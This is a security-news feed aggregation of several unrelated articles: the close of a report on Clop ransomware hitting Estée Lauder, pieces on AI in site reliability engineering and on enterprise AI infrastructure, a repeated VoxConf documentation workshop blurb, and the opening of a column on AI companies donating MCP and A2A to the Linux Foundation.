<span data-contrast="auto">This is not the first time the company has been impacted by Clop. In 2023, Estée Lauder was also <a href="https://thecyberexpress.com/estee-lauder-cyber-attack-alphv-ransomware/" target="_blank" rel="noopener">compromised after the ransomware group</a> exploited a separate zero-day vulnerability in the MOVEit Transfer platform, one of the company's internal software tools.</span><span data-ccp-props="{}"> </span>]]></content:encoded>
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<title><![CDATA[How AI impacts site reliability engineering]]></title>
<description><![CDATA[Site reliability engineers (SREs) have the tough assignment of resolving thorny performance and reliability issues. But their primary mission is to provide devops teams with operational insights and to suggest implementation improvements on business system performance, security, and overall robus...]]></description>
<link>https://tsecurity.de/de/3683121/ai-nachrichten/how-ai-impacts-site-reliability-engineering/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683121/ai-nachrichten/how-ai-impacts-site-reliability-engineering/</guid>
<pubDate>Tue, 21 Jul 2026 11:05:12 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Site reliability engineers (SREs) have the tough assignment of resolving thorny performance and reliability issues. But their primary mission is to provide devops teams with operational insights and to suggest implementation improvements on business system performance, security, and overall robustness.</p>



<p class="wp-block-paragraph">Google introduced its <a href="https://sre.google/sre-book/part-I-introduction/">SRE playbook</a> in 2003, but it took some time for the role’s definition, tools, and techniques to become mainstream. Startups were the first to adopt observability for cloud-native applications and create dedicated SRE positions. As tools matured and SRE responsibilities became more clearly defined, larger enterprises assigned SREs to work as a bridge between devops and IT ops teams to improve resilience across a wider range of applications, APIs, and <a href="https://www.infoworld.com/article/3487711/the-definitive-guide-to-data-pipelines.html">data pipelines</a>.</p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/3689881/career-paths-for-devops-engineers-and-sres.html">SRE is a career path</a> for multidisciplinary engineers with strong investigative instincts, sharp data analytics skills, and the temperament to perform under pressure. It has become a critical responsibility as tech became mission-critical for enterprises, and it is <a href="https://drive.starcio.com/2025/02/emerging-genai-roles-hr-tech-security/">a growing role in the genAI era</a> as more businesses <a href="https://drive.starcio.com/2025/10/ai-agents-definitive-guide-saas-security-titans/">deploy AI agents</a>.</p>



<p class="wp-block-paragraph">But the critical need for resiliency and greater technological complexity brings new challenges for SREs. According to the <a href="https://neubird.ai/resources/state-of-production-reliability-and-ai-adoption/">2026 State of Production Reliability and AI Adoption report</a>, 44% of respondents experienced an outage linked to ignored or suppressed alerts in the past year, and 35% report their engineers occasionally ignore or dismiss alerts due to alert fatigue. More than 70% of alerts received are not actionable, according to 57% of organizations.</p>



<p class="wp-block-paragraph">So, is AI making the SRE’s role easier and helping businesses run more reliable technology operations? On the other hand, AI is also driving complexity, as companies deploy genAI tools and AI agents across more business functions and seek to automate more decision-making across operations.</p>



<h2 class="wp-block-heading">AIops and agentic ops aid SREs</h2>



<p class="wp-block-paragraph">Over the past decade, SRE responsibilities have become somewhat easier through improvements in <a href="https://www.infoworld.com/article/2263821/5-devops-practices-to-improve-application-reliability.html">monitoring platforms</a>, <a href="https://www.infoworld.com/article/3686056/best-practices-for-devops-observability.html">observability practices</a>, <a href="https://www.infoworld.com/article/2261769/what-is-the-ai-in-aiops.html">tools for centralizing operational data</a>, and <a href="https://drive.starcio.com/2022/01/aiops-cio/">AI applied in IT operations</a> (AIops). But during the heat of resolving an outage or performance issue, it’s not easy to correctly identify what system triggered the issue versus other downstream systems impacted by it.</p>



<p class="wp-block-paragraph">According to the <a href="https://komodor.com/resources/komodor-2025-enterprise-kubernetes-report/">Komodore 2025 Enterprise Kubernetes Report</a>, 79% of production incidents originate from recent system changes, including deployments and changes to compute environments. But the other 21% of incidents stem from issues outside of the business’s control, including network failures, third-party changes, and cloud provider failures.</p>



<p class="wp-block-paragraph">“SREs using AI capabilities succeed or fail in the moment an incident unfolds, when engineers are deciding what to investigate next,” says Itiel Shwartz, CTO at <a href="https://komodor.com/">Komodor</a>. “If the system streamlines root cause detection, connects signals to recent changes, and explains its reasoning in a way engineers recognize, it earns trust. If it adds uncertainty or demands extra validation, it gets sidelined, regardless of how bespoke the model behind it may be. What’s less obvious is what it takes to make AI for SREs work in production, and how different that reality is from prototypes, demos, or early internal builds.”</p>



<p class="wp-block-paragraph"><a href="https://drive.starcio.com/2022/05/aiops-ml-multicloud/">AIops</a> is not a new capability, especially in using machine learning to correlate logs, metrics, and traces across monitoring and alerting systems. IT service management and SREs have been using AIops to <a href="https://drive.starcio.com/2021/11/p1-incidents-long-resolution-times/">reduce the mean time to resolve incidents</a> and to perform accurate <a href="https://drive.starcio.com/2021/12/kpi-agile-devops-itops/">root cause analysis</a> (RCA) efficiently. <a href="https://www.infoworld.com/article/4100507/5-key-agenticops-practices-to-start-building-now.html">Agentic ops</a> is the next wave of genAI operational capabilities, including tools for monitoring AI agents, managing their access rights, and detecting AI model accuracy drift.</p>



<p class="wp-block-paragraph"> “AI is useful during major incidents because it can pull together a lot of context into a few clear sentences, which is exactly what an SRE needs in the moment,” suggests Shani Shoham, chief revenue officer at <a href="https://openobserve.ai/">OpenObserve</a>. “The complexity of architecture and the different tooling make it easier for AI than for a human, but autonomous resolution is still a way off.”</p>



<h2 class="wp-block-heading">AI’s impact on people and burnout</h2>



<p class="wp-block-paragraph">The business pressure to keep systems up, secure, and performing well is a 24/7 stressful responsibility. According to <a href="https://www.catchpoint.com/learn/sre-report-2025">The SRE Report 2025</a> from Catchpoint, 36% of SREs often or always experience elevated stress during an incident, and 28% said the stress persists even after the incident is resolved. AI capabilities may prove to be a game-changer in helping SREs avoid burnout and reduce stress.</p>



<p class="wp-block-paragraph">“AI can improve RCA by taking in a much larger incident context than any engineer can hold at 3am, reasoning across traces, logs, metrics, deploys, config changes, alerts, ownership, and recent production behavior,” says Noam Levy, founding engineer and field CTO at <a href="https://www.groundcover.com/">Groundcover</a>. “Beyond attempting a full RCA, its immediate value is distilling the signals that actually matter, reconstructing a clear timeline of cause and effect, and helping engineers separate correlation from likely causality. Once a fix is deployed, agents can also verify remediation by comparing pre- and post-fix behavior, but this depends on broad access to rich, correlated production signals and a cost model that does not discourage adoption or experimentation.”</p>



<p class="wp-block-paragraph">Not only are incidents resolved faster and with less stress, but AI can also free up SRE time to focus on proactive work and create a career path for junior developers into SRE roles. Quais Taraki, CTO at <a href="https://www.enterprisedb.com/">EDB Postgres AI</a>, adds, “AI reduces toil by automating repetitive tasks while accelerating incident resolution through copilots that correlate signals across distributed systems, allowing SREs to focus more on resilience strategies like chaos engineering and failure analysis.”</p>



<p class="wp-block-paragraph">AI can have long-lasting operational impacts, especially for organizations looking to deploy more mission-critical technology and AI capabilities. Two longer-term benefits of AI for SREs are reducing the number of bridge calls needed for incident response and the number of engineers required in “<a href="https://drive.starcio.com/2021/04/it-digital-operations-aiops/">war rooms</a>” to coordinate root cause analyses.</p>



<p class="wp-block-paragraph">“When something goes wrong, AI that guides SREs can do the full analysis, get to the root cause, and perform the remediation,” says Spiros Xanthos, founder and CEO of <a href="https://resolve.ai/">Resolve AI</a>. “AI also helps avoid many escalations, and when escalations are needed, it targets the right people from the network, infrastructure, and the application teams. AI for SREs centralizes operational intelligence, exposes tribal knowledge, and can guide more junior developers.” </p>



<h2 class="wp-block-heading">AI agent reliability</h2>



<p class="wp-block-paragraph">While AI capabilities have been a net positive in helping SREs improve system reliability, the growth of <a href="https://www.infoworld.com/article/4032989/a-developers-guide-to-code-generation.html">AI code generators</a>, <a href="https://www.infoworld.com/article/4058076/vibe-coding-and-the-future-of-software-development.html">vibe coding</a>, and <a href="https://www.infoworld.com/article/4166817/vibe-coding-or-spec-driven-development.html">spec-driven development</a> is adding to their workloads. <a href="https://www.braiviq.com/blog/vibe-coding-ai-development-2026-cursor-copilot-claude-code">According to one study</a>, 41% of all global code is now AI-generated, and <a href="https://www.hostinger.com/blog/vibe-coding-statistics">Gartner predicts</a> that 40% of new enterprise production software will be created using vibe coding techniques by 2028.</p>



<p class="wp-block-paragraph">But coding velocity is creating new issues for SREs as AI pull requests have 1.4 times more critical issues and 1.7 times more major issues, <a href="https://www.coderabbit.ai/blog/state-of-ai-vs-human-code-generation-report">according to CodeRabbit</a>. “AI-assisted development has created an unprecedented velocity of code reaching production, expanding surface area, edge cases, and failure rates faster than traditional SRE practices can absorb,” says Vinod Jayaraman, cofounder and CTO at <a href="https://neubird.ai/">NeuBird AI</a>. “The speed of shipping has far outpaced the speed of understanding what breaks in production. To close this loop, SREs need enterprise agents that can capture precise diagnostic context, including correlated traces, service dependencies, and anomaly timelines, and structure it as actionable input for the engineers and AI coding tools responsible for the fix.”</p>



<p class="wp-block-paragraph">The growing number of AI agents deployed to production creates new challenges. AI agents are not just code; they have multiple failure points. They are built using language models, connect to proprietary sources for context, and integrate with <a href="https://www.infoworld.com/article/4124612/5-requirements-for-using-mcp-servers-to-connect-ai-agents.html">Model Context Protocol servers</a> to support more complex workflows. Changes are ongoing and not deployment events, so the SRE’s job of identifying the source of performance and accuracy drifts isn’t trivial. </p>



<p class="wp-block-paragraph">“Traditional SRE was built for systems that fail in reproducible ways, but agents fail differently and drift when a model provider pushes an update, and behavior shifts silently with no baseline for comparison,” says Mohammed Aboul-Magd, vice president of product at <a href="https://www.sandboxaq.com/">SandboxAQ</a>. “Most organizations can’t even answer the basics: how many agents are running, what they have access to, and whether they’re still doing what they were built to do.”</p>



<p class="wp-block-paragraph">“Every time a senior engineer leaves, they take years of learned failure patterns with them, and the next outage starts from square one,” adds Ronak Desai, cofounder and CEO at <a href="https://ciroos.ai/">Ciroos</a>. “Using AI for compounding operational memory changes that, and every incident your system resolves, the AI learns it.”</p>



<p class="wp-block-paragraph">SREs should take a leadership role in emerging best practices, including defining their standards for AI agent <a href="https://www.infoworld.com/article/4061123/how-to-write-nonfunctional-requirements-for-ai-agents.html">non-functional acceptance criteria</a>, <a href="https://www.infoworld.com/article/4140832/7-safeguards-for-observable-ai-agents.html">observability practices</a>, and <a href="https://www.infoworld.com/article/4105884/10-essential-release-criteria-for-launching-ai-agents.html">release-readiness criteria</a>. SREs should update their <a href="https://www.infoworld.com/article/3684268/tools-to-manage-slos-and-error-budgets.html">service-level objectives</a> (SLOs) and define error budgets for AI agents in production.</p>



<p class="wp-block-paragraph">Ryan Downing, vice president and CIO of enterprise business solutions at <a href="https://www.principal.com/">Principal Financial Group</a>, says, “Standard SLOs and error budgets give teams the guardrails, and AI helps interpret the telemetry against those targets, reducing noise so engineers can get to the real issue faster and automate parts of remediation before customers are impacted.”</p>



<h2 class="wp-block-heading">AI raises the SRE’s business impact</h2>



<p class="wp-block-paragraph">The more dramatic shift in site reliability engineering is an evolution of its business scope. IT leaders focus on uptime, performance, and issue resolution, as well as understanding their impacts. Business leaders will look to IT and SREs to identify, determine root cause, and remediate a broader class of issues, including <a href="https://drive.starcio.com/2025/07/rogue-ai-agents-cios-govern-agentic-ecosystem/">rogue AI agents</a> and the impacts of <a href="https://www.infoworld.com/article/4040513/how-to-avoid-the-risks-of-rapidly-deploying-ai-agents.html">rapidly deploying new agentic capabilities</a>. </p>



<p class="wp-block-paragraph">“AI agents are handing SREs categories of problems they’ve never had to solve before, specifically failures defined in business terms, not technical ones,” says Blake Sherwood, distinguished technologist for AI and platform strategy at <a href="https://www.smarsh.com/">Smarsh</a>. “Traditional reliability engineering is built around latency, errors, and crashes, but agents now fail due to skipped compliance steps or outcomes that looked fine technically but were wrong contextually. Most SRE teams aren’t wired for that yet.”</p>



<p class="wp-block-paragraph">The question is whether SREs with AI-augmented tools can keep up with the velocity, complexity, and business urgency of deploying new AI business capabilities.</p>
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<title><![CDATA[The next AI bottleneck is not the model. It’s the infrastructure behind it]]></title>
<description><![CDATA[Every enterprise AI conversation seems to begin with the same question: Which model should we use?



I understand why. Models are visible. They have names, benchmarks, release notes, pricing pages and impressive demos. They are easy to compare in a leadership meeting. One model promises better r...]]></description>
<link>https://tsecurity.de/de/3683109/it-nachrichten/the-next-ai-bottleneck-is-not-the-model-its-the-infrastructure-behind-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683109/it-nachrichten/the-next-ai-bottleneck-is-not-the-model-its-the-infrastructure-behind-it/</guid>
<pubDate>Tue, 21 Jul 2026 11:03:50 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Every enterprise AI conversation seems to begin with the same question: Which model should we use?</p>



<p class="wp-block-paragraph">I understand why. Models are visible. They have names, benchmarks, release notes, pricing pages and impressive demos. They are easy to compare in a leadership meeting. One model promises better reasoning. Another offers a larger context window. Another appears faster, cheaper or more specialized.</p>



<p class="wp-block-paragraph">But after years of working around enterprise platforms, integration layers, cloud migration, middleware, production operations and mission-critical systems, I see the AI conversation differently.</p>



<p class="wp-block-paragraph">The model matters. But it is not where most enterprises will struggle next.</p>



<p class="wp-block-paragraph">The next AI bottleneck is the infrastructure behind the model.</p>



<p class="wp-block-paragraph">I do not mean only GPUs, cloud capacity or data storage. I mean the full enterprise operating layer that allows AI to work safely in the real world: data pipelines, identity, APIs, messaging, observability, security controls, deployment automation, cost governance, auditability, support ownership and recovery design.</p>



<p class="wp-block-paragraph">That layer is what determines whether AI remains an exciting experiment or becomes a trusted business capability.</p>



<h2 class="wp-block-heading">Pilots hide the hard part</h2>



<p class="wp-block-paragraph">Most organizations can build an <a href="https://www.cio.com/article/4159287/most-companies-are-stuck-on-ai-chat.html">impressive AI pilot</a>. A small team can connect a model to a dataset, create a workflow and show a use case that works well in a controlled setting.</p>



<p class="wp-block-paragraph">The harder part starts when that pilot moves into a <a href="https://www.cio.com/article/4161509/ai-hype-to-ai-value-escaping-the-activity-trap.html">real production process</a>.</p>



<p class="wp-block-paragraph">That is when practical questions show up. Who owns the data quality? What systems can the AI access? How do we trace which prompt, policy or retrieval flow produced a specific answer? What happens when an API slows down, a queue backs up or a downstream system is unavailable?</p>



<p class="wp-block-paragraph">To me, these are not model problems. They are infrastructure problems.</p>



<p class="wp-block-paragraph">This is where many enterprises are now headed. The first phase of AI was experimentation. The next phase is operationalization, and that is where the real gap becomes clear.</p>



<p class="wp-block-paragraph"><a href="https://www.mckinsey.com/capabilities/quantumblack/our-insights/seizing-the-agentic-ai-advantage">McKinsey</a> has made a similar point in its work on agentic AI, noting that the next phase of value depends less on isolated tools and more on redesigning workflows, operating models and enterprise execution around agents.</p>



<p class="wp-block-paragraph">AI pilots can survive on enthusiasm. Production AI requires architecture.</p>



<h2 class="wp-block-heading">AI is becoming an integration problem</h2>



<p class="wp-block-paragraph">The more I look at enterprise AI, the more it feels like an integration challenge.</p>



<p class="wp-block-paragraph">In large organizations, I have seen how messaging platforms, integration gateways, deployment pipelines, monitoring tools and cloud infrastructure can decide whether a digital capability succeeds or fails. AI will be no different. Even the strongest model will struggle if the data, middleware, identity layer and operational controls around it are weak.</p>



<p class="wp-block-paragraph">AI does not work in isolation. It needs context from systems of record, clean data from different business areas, secure access to APIs, event streams, workflows, knowledge repositories, monitoring tools and legacy systems.</p>



<p class="wp-block-paragraph">That is why the CIO question is changing.</p>



<p class="wp-block-paragraph">It is no longer just, “Which AI tool should we buy?”</p>



<p class="wp-block-paragraph">It is becoming, “Can we safely operationalize intelligence across the business?”</p>



<p class="wp-block-paragraph">This is where agentic AI matters. Autonomous AI only creates real value when the architecture around it can make its actions safe, traceable and useful.</p>



<p class="wp-block-paragraph">A model can generate an answer. Infrastructure determines whether that answer is secure, timely, explainable, governed and connected to the right workflow.</p>



<p class="wp-block-paragraph">For example, an AI assistant that summarizes customer or order information may look like a model use case. But underneath, it depends on access control, fresh data, reliable APIs, logging, encryption, monitoring and policy enforcement.</p>



<p class="wp-block-paragraph">If the answer is wrong, people may blame the model. But the real failure may have started with stale data, weak integration, poor access design, missing observability or an unreliable downstream system.</p>



<p class="wp-block-paragraph">That is why CIOs should not judge AI only by model capability. The enterprise system around the model matters just as much.</p>



<h2 class="wp-block-heading">Latency will become a trust issue</h2>



<p class="wp-block-paragraph">In traditional technology operations, latency is often treated as a performance metric. In AI-enabled workflows, latency becomes a trust issue.</p>



<p class="wp-block-paragraph">When an employee asks an AI assistant for help and the response takes too long, the employee stops using it. When a customer-facing workflow becomes slow, the customer abandons it. When an AI agent waits on multiple backend calls, the entire business process feels unreliable.</p>



<p class="wp-block-paragraph">This becomes even more important as organizations move from simple chat interfaces to agentic workflows. A single AI-driven action may include identity checks, context retrieval, policy validation, model reasoning, API calls, business-rule execution, logging and human approval.</p>



<p class="wp-block-paragraph">Each step adds latency. Each dependency adds a possible failure point.</p>



<p class="wp-block-paragraph">A model may be fast in a benchmark but slow inside an enterprise process. That difference matters.</p>



<p class="wp-block-paragraph">This is where platform engineering becomes essential. Enterprises need reusable patterns for AI workloads: approved connectors, secure retrieval methods, queue-based decoupling, caching strategies, deployment pipelines, monitoring dashboards and standard rollback procedures.</p>



<p class="wp-block-paragraph">Without those patterns, every AI initiative becomes a custom build. Custom builds may work for pilots, but they do not scale across a large enterprise.</p>



<h2 class="wp-block-heading">Observability has to expand</h2>



<p class="wp-block-paragraph">Traditional monitoring tells us whether infrastructure is healthy. Is the server up? Is CPU high? Is memory exhausted? Is the application returning errors?</p>



<p class="wp-block-paragraph">AI needs that, but it also needs more.</p>



<p class="wp-block-paragraph">We need to know what data was retrieved, which model was used, which prompt version was active, which user initiated the request, which policy was applied, how long each step took and whether the output passed validation.</p>



<p class="wp-block-paragraph">We also need to detect new forms of risk: unusual usage patterns, repeated failed tool calls, unexpected cost spikes, sensitive data exposure, weak retrieval results or an AI workflow attempting actions outside its intended boundary.</p>



<p class="wp-block-paragraph">In production AI, observability is not only about uptime. It is about confidence.</p>



<p class="wp-block-paragraph">If a business leader, auditor, regulator or security team asks why an AI system made a recommendation, the answer cannot be, “The model said so.” The enterprise needs traceability. It needs evidence. It needs operational context that engineers, risk teams and business owners can understand.</p>



<p class="wp-block-paragraph">This is one of the biggest gaps I see in AI strategy. Many organizations are investing in models and use cases, but not enough in the control plane required to manage them.</p>



<h2 class="wp-block-heading">Data readiness is still underestimated</h2>



<p class="wp-block-paragraph">AI has exposed an uncomfortable truth: many enterprises are not as data ready as they think.</p>



<p class="wp-block-paragraph">Data is often duplicated across platforms, described differently by each team, governed inconsistently and refreshed on different schedules. Access rules may be clear in one system but unclear in another. Even basic business definitions can change from department to department.</p>



<p class="wp-block-paragraph">AI does not fix that automatically. In many cases, it makes the problem more visible.</p>



<p class="wp-block-paragraph">A bad report may be questioned. A bad AI answer may sound confident enough to be trusted.</p>



<p class="wp-block-paragraph">That is a real risk.</p>



<p class="wp-block-paragraph">Being data-ready for AI is not just about connecting a vector database or indexing documents. It requires clear ownership, lineage, classification, quality checks, retention rules, access boundaries and a shared understanding of which data should be used for which purpose.</p>



<p class="wp-block-paragraph">The same principle applies to resilient cloud-native design. In my IEEE TechRxiv paper, “<a href="https://www.techrxiv.org/doi/full/10.36227/techrxiv.175433366.65304469/v1">Enabling Fault-Tolerant Multicast in Cloud-Native Architectures</a>” I explored how reliability, observability and fault tolerance become foundational requirements when critical workloads stretch across hybrid and multi-cloud environments.</p>



<p class="wp-block-paragraph">CIOs already understand this because they have lived through enterprise resource planning programs, cloud migration, integration modernization, cybersecurity transformation and analytics initiatives. The lesson is familiar: technology cannot outrun data discipline forever.</p>



<h2 class="wp-block-heading">Security cannot be added later</h2>



<p class="wp-block-paragraph">As AI moves from answering questions to acting, security becomes much more important.</p>



<p class="wp-block-paragraph">An assistant that summarizes information carries one level of risk. An agent that can open a ticket, update a record, trigger a workflow, approve a request or contact a customer carries a very different one.</p>



<p class="wp-block-paragraph">The more AI can do, the more identity, authorization, least privilege, separation of duties and human approval matter.</p>



<p class="wp-block-paragraph">Enterprises should be careful not to grant AI broad access just to speed up a pilot. That may seem harmless in development, but it can become dangerous at scale.</p>



<p class="wp-block-paragraph">AI access should be treated like any other privileged enterprise capability: limited, logged, reviewed and easy to revoke.</p>



<p class="wp-block-paragraph">The <a href="https://www.nist.gov/itl/ai-risk-management-framework">NIST</a> AI Risk Management Framework is a useful reference point here because it frames AI risk as something organizations must govern, map, measure and manage continuously rather than something handled only at the end of deployment.</p>



<p class="wp-block-paragraph">Security teams should be involved early, not at the end. The goal is not to slow innovation. The goal is to build a platform where safe innovation becomes repeatable.</p>



<h2 class="wp-block-heading">The CIO has to define the operating model</h2>



<p class="wp-block-paragraph">AI is creating pressure from every direction. Boards want productivity. Business teams want automation. Employees want better tools. Vendors are pushing new features. Security teams are watching risk. Finance teams are watching cost. Customers expect faster, smarter experiences.</p>



<p class="wp-block-paragraph">The CIO sits in the middle of all of it.</p>



<p class="wp-block-paragraph">That is why the CIO’s role cannot stop at choosing tools or approving pilots. The CIO has to define how AI will actually operate across the enterprise.</p>



<p class="wp-block-paragraph">That means answering practical questions. Which architecture is approved? Which data sources can be trusted? How are AI workflows deployed, monitored, supported and governed? How are costs controlled? How do teams reuse common patterns instead of rebuilding the same foundation each time?</p>



<p class="wp-block-paragraph">This work may not be as exciting as a model demo, but it is what separates sustainable AI from short-term experimentation.</p>



<p class="wp-block-paragraph">The winning organizations will not be the ones with the most pilots. They will be the ones with the strongest AI operating layer.</p>



<p class="wp-block-paragraph">They will build reusable platform patterns, strengthen data governance, design access properly, monitor AI behavior end to end and measure success by business improvement, not only model performance.</p>



<p class="wp-block-paragraph">The model still matters. But the enterprise behind the model matters more.</p>



<p class="wp-block-paragraph">A powerful model on weak infrastructure will eventually disappoint the business. A capable model on strong infrastructure can deliver real value because it can be trusted, secured, scaled and improved.</p>



<p class="wp-block-paragraph">That is the shift CIOs need to lead.</p>



<p class="wp-block-paragraph">The next AI bottleneck is not the model. It is whether the enterprise behind the model is ready.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[What Is Documentation? How Is Documentation Created in Vox Pupuli? (voxconf2026)]]></title>
<description><![CDATA[In this workshop, we will discuss how Vox Pupuli approaches documentation as well as how OpenVox documentation is (re-)created. The goal is to contribute to Vox Pupuli and OpenVox documentation strategy while addressing my research interest in non-knowledge. In this 50 minutes exchange with the a...]]></description>
<link>https://tsecurity.de/de/3682311/it-security-video/what-is-documentation-how-is-documentation-created-in-vox-pupuli-voxconf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682311/it-security-video/what-is-documentation-how-is-documentation-created-in-vox-pupuli-voxconf2026/</guid>
<pubDate>Tue, 21 Jul 2026 00:34:09 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In this workshop, we will discuss how Vox Pupuli approaches documentation as well as how OpenVox documentation is (re-)created. The goal is to contribute to Vox Pupuli and OpenVox documentation strategy while addressing my research interest in non-knowledge. In this 50 minutes exchange with the audience, I will guide the conversation with a series a questions that give space for different opinions as well as feedback about my research.

The workshop will cover a number of key considerations, including the narrative or story behind both, Vox Pupuli and OpenVox; the type(s) of documentation that is/are needed, wanted and expected, as well as its/their maintainability; and finally, the (best) practices that contribute to good documentation. In the process, I will share the preliminary results of my analysis of Slack exchanges, PRs and comments on the GitHub documentation repository, and interviews with the Vox Pupuli members most involved in the process of creating OpenVox documentation. I expect to conclude this exercise with actionable items for the community and more data for my dissertation.
about this event: https://c3voc.de]]></content:encoded>
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<title><![CDATA[What Is Documentation? How Is Documentation Created in Vox Pupuli? (voxconf2026)]]></title>
<description><![CDATA[In this workshop, we will discuss how Vox Pupuli approaches documentation as well as how OpenVox documentation is (re-)created. The goal is to contribute to Vox Pupuli and OpenVox documentation strategy while addressing my research interest in non-knowledge. In this 50 minutes exchange with the a...]]></description>
<link>https://tsecurity.de/de/3682287/it-security-video/what-is-documentation-how-is-documentation-created-in-vox-pupuli-voxconf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682287/it-security-video/what-is-documentation-how-is-documentation-created-in-vox-pupuli-voxconf2026/</guid>
<pubDate>Tue, 21 Jul 2026 00:18:34 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In this workshop, we will discuss how Vox Pupuli approaches documentation as well as how OpenVox documentation is (re-)created. The goal is to contribute to Vox Pupuli and OpenVox documentation strategy while addressing my research interest in non-knowledge. In this 50 minutes exchange with the audience, I will guide the conversation with a series a questions that give space for different opinions as well as feedback about my research.

The workshop will cover a number of key considerations, including the narrative or story behind both, Vox Pupuli and OpenVox; the type(s) of documentation that is/are needed, wanted and expected, as well as its/their maintainability; and finally, the (best) practices that contribute to good documentation. In the process, I will share the preliminary results of my analysis of Slack exchanges, PRs and comments on the GitHub documentation repository, and interviews with the Vox Pupuli members most involved in the process of creating OpenVox documentation. I expect to conclude this exercise with actionable items for the community and more data for my dissertation.
about this event: https://c3voc.de]]></content:encoded>
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<title><![CDATA[Where the real competition is in AI]]></title>
<description><![CDATA[Last year Anthropic gave away one of the most successful things it has ever built. And, no, I’m not talking about Claude. I’m referring to MCP, the now ubiquitous Model Context Protocol, which Anthropic donated to the Linux Foundation’s new Agentic AI Foundation⁠. At the time, MCP was pulling nea...]]></description>
<link>https://tsecurity.de/de/3681885/ai-nachrichten/where-the-real-competition-is-in-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681885/ai-nachrichten/where-the-real-competition-is-in-ai/</guid>
<pubDate>Mon, 20 Jul 2026 19:48:37 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Last year Anthropic gave away one of the most successful things it has ever built. And, no, I’m not talking about Claude. I’m referring to MCP, the now ubiquitous <a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html" data-type="link" data-id="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">Model Context Protocol</a>, which Anthropic <a href="https://anthropic.com/news/donating-the-model-context-protocol-and-establishing-of-the-agentic-ai-foundation">donated to the Linux Foundation’s new Agentic AI Foundation</a>⁠. At the time, MCP was <a href="https://blog.modelcontextprotocol.io/posts/2025-12-09-mcp-joins-agentic-ai-foundation/">pulling nearly 100 million monthly SDK downloads</a> across more than 10,000 active servers⁠, prompting the question as to why any company would give up such a popular piece of technology.</p>



<p class="wp-block-paragraph">Google did much the same months earlier, <a href="https://developers.googleblog.com/en/google-cloud-donates-a2a-to-linux-foundation/">handing its Agent2Agent (A2A) protocol</a> to the Linux Foundation⁠ with AWS, Cisco, Microsoft, Salesforce, SAP, and ServiceNow signing on as founding members. OpenAI, not to be outdone, <a href="https://openai.com/index/new-tools-and-features-in-the-responses-api/">supports remote MCP servers in its Responses API</a>⁠, sits on the MCP steering committee, and contributed AGENTS.md to that same foundation alongside its fiercest rival’s protocol.</p>



<p class="wp-block-paragraph">It’s like <em>Game of Thrones</em>, except the principal AI powers seek regime change through seeming acts of beneficence rather than violence. For those who have been around for a while, it’s also entirely predictable, following a similar script we’ve seen in the cloud, on-premises servers, and more. Platform companies don’t give away technologies they’ve stopped caring about. They give away technologies they no longer need to own because competitive advantage has shifted to new ground.</p>



<p class="wp-block-paragraph">What does this mean for AI?</p>



<h2 class="wp-block-heading"><a></a>Gravity has shifted before</h2>



<p class="wp-block-paragraph">Google has long been an exceptionally active contributor to <a href="https://www.infoworld.com/article/2262355/what-is-open-source-software-open-source-and-foss-explained.html" data-type="link" data-id="https://www.infoworld.com/article/2262355/what-is-open-source-software-open-source-and-foss-explained.html">open source</a>. <a href="https://www.infoworld.com/article/2260293/open-source-innovation-is-now-all-about-vendor-on-ramps-2.html">As I wrote in 2017</a>, Google wasn’t open sourcing TensorFlow and Kubernetes out of generosity but rather turning these open source assets into on-ramps for Google Cloud. Google was playing catch-up to AWS and Microsoft. As <a href="https://www.infoworld.com/article/2248699/why-kubernetes-is-winning-the-container-war.html">then Google product manager Martin Buhr said</a>, the company hoped to “create a gravity well in the market for container-based apps [so] that a significant percentage of them will end up with us.”</p>



<p class="wp-block-paragraph">In other words, platform companies routinely commoditize one layer of the stack so they can compete somewhere where they hold a stronger hand.</p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/2266566/what-is-github-more-than-git-version-control-in-the-cloud.html" data-type="link" data-id="https://www.infoworld.com/article/2266566/what-is-github-more-than-git-version-control-in-the-cloud.html">GitHub</a> may be an even better example. <a href="https://www.infoworld.com/article/2334697/what-is-git-version-control-for-collaborative-programming.html">Git </a>is open. Anyone can host a Git repository and, once upon a time, different companies did just that. Yet <a href="https://www.infoworld.com/article/2266566/what-is-github-more-than-git-version-control-in-the-cloud.html">GitHub </a>became the default place software development happens for millions of developers. Nobody pays for Git, but lots of people pay for GitHub. We’re seeing this same phenomenon play out in AI.</p>



<h2 class="wp-block-heading">Trading contributions for control</h2>



<p class="wp-block-paragraph">Anthropic and OpenAI have both pretended at being all for humanity’s good, but that’s not a good explanation for why they’re racing to give away things like <a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">MCP</a>. The deeper reason is that the model itself has turned out to be a poor place to build a lasting moat, and they’re trying to figure out what’s next. <a href="https://www.infoworld.com/article/4195842/which-ai-model-should-you-bet-your-company-on-none-of-them.html">As I pointed out recently</a>, the frontier model leaderboards change almost weekly. As such, enterprises shouldn’t build their AI strategy around the assumption that any one vendor will remain permanently ahead on model quality. Instead, as I suggested, AI may be sexy, but the “dull reality” is connecting those models to enterprise data, workflows, etc.</p>



